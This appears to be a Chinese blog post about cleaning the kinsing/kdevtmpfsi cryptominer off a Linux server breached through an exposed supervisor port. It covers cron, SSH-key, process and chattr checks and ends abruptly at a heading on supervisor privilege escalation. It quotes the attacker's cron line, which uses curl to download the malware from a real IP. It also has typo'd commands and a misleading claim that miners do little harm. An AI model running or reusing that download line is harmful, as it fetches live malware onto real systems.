记一次被注入挖矿程序kdevtmpfi解决记录

## 前言 ##

发现自己服务器资源使用异常，cpu使用率100%，内存使用也很多，且有陌生的进程。那很有可能是被入侵植入了挖矿程序

## 解决问题 ##

遇到这种问题切忌惊慌失措，一般挖矿程序除了占用服务资源不会有其他危害

### 1. 切断来源 ###

一般被侵入的话，服务器上的计划任务会被修改，会有一个进程一直在检测程序是否存在，如果只kill进程删除文件的话会发现过不了一会就会死灰复燃，所以斩草除根，先把去外界不安全的连接关掉。 被修改的计划任务如 `curl -o /tmp/kinsing http://45.137.155.55/kinsing`

1.  修改服务器密码如果是密钥登陆的切换密钥

passwd user1 #使用root用户修改密码，root用户密码最好也修改下

1.  服务器配置防火墙禁止例如计划任务里的ip访问，云服务器的话可以只允许公司网络访问，去掉非必要暴漏在外的服务端口访问权限，异常访问ip加入防火墙
2.  检查系统的ssh密钥文件，删掉陌生密钥

vim /root/.ssh/authorized_keys

### 2. 删除挖矿程序 ###

如果直接删除的话可能会发现一会就又开始运行，这是因为没有kill掉它的父进程

1.  检查计划任务删掉异常任务

# 查看
    crontab -l #查看root用户下的
    crontav -u centos -l #查看centos用户下的(最好普通用户的也看下，方式删除不干净)
    # 修改
    crontab -e 
    crontab -u centos -e

1.  查看挖矿程序的父进程，并删除

systemctl status pid
    # 或者
    pstree |grep kdevtmpfsi -C 30
    # 把异常的父进程杀掉
    killall kinjing
    # 查看是否还有遗漏
    ps -aux | grep kinsing
    ps -aux | grep kdevtmpfsi
    # 删除挖矿程序(一般在/tmp目录和/var/tmp)
    rm -rf kinsing 
    rm -rf kdevtmpfsi
    # 全局查找是否还有遗漏文件
    find / -name kdevtmpfsi
    find / -name kinsing

**注意：** 用root用户删除文件时可能会提示没有权限，分析挖矿脚本会发现他们给文件加了锁权限，有兴趣可以了解下[chattr命令][chattr]

**如何解决**

# 查看加了那些权限
    lsattr /tmp -d # 删不掉可能是加了i权限
    # 去掉权限
    chattr -i filename # -号表示去掉，+号表示添加权限
    # 然后再去删除应该就没问题啦

等文件都删了可以检查下/tmp/等目录的权限是否有问题，对比着其他目录做恢复`chmod -R 755 /tmp`

### 3. 持续观察一段时间 ###

top -c

如果发现死灰复燃,那就是还有的地方没有删除，可以继续按以上步骤观察,同时还可以关注下有没有curl\\wget的异常进程，还有普通用户的计划任务也要检查下

## 预防 ##

1.  严格控制服务器的访问权限，不要设置简单的密码
2.  非必要端口不要暴漏到公网，且服务最好不要用默认端口。尤其是`redis` `supervisor`如果非要暴漏的话要配置强密码，且定期更换
3.  通过`lastd`检查登陆失败ip，加入到防火墙

## 复盘 ##

一般挖矿脚本都是走服务的漏洞提升权限，在服务注入脚本实现侵入。且一般都会删除操作历史和`syslog`文件。我们这次是因为`supervisor`使用默认端口且暴漏到公网遭到黑客侵入。

### supervisor如何提升权限并在服务器执行脚本 ###

supervisor版本`3.3.1`
